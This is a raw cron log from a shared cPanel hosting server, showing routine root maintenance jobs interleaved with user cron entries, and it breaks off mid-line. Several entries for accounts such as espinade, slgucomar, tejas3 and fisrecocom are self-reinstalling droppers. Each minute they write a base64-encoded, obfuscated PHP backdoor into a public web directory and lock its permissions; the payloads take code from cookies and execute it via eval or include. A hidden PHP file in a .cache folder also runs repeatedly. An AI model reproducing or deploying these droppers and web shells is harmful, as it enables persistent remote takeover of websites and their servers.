Mar  2 02:15:02 medusa CROND[5623]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:15:02 medusa CROND[5624]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:15:02 medusa CROND[5625]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5626]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:15:02 medusa CROND[5627]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:15:02 medusa CROND[5620]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5646]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5650]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:15:02 medusa CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5647]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:15:02 medusa CROND[5659]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:15:02 medusa CROND[5638]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:16:01 medusa CROND[10934]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:16:01 medusa CROND[10935]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:16:01 medusa CROND[10936]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:16:01 medusa CROND[10938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:16:01 medusa CROND[10941]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:16:01 medusa CROND[10942]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:16:01 medusa CROND[10943]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:16:01 medusa CROND[10945]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:16:01 medusa CROND[10947]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:16:01 medusa CROND[10949]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:16:01 medusa CROND[10960]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:16:01 medusa CROND[10961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:16:01 medusa CROND[10964]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:16:01 medusa CROND[10962]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:17:01 medusa CROND[17174]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:17:01 medusa CROND[17175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:17:01 medusa CROND[17176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:17:01 medusa CROND[17177]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:17:01 medusa CROND[17178]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:17:01 medusa CROND[17181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:17:01 medusa CROND[17182]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:17:01 medusa CROND[17183]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:17:01 medusa CROND[17184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6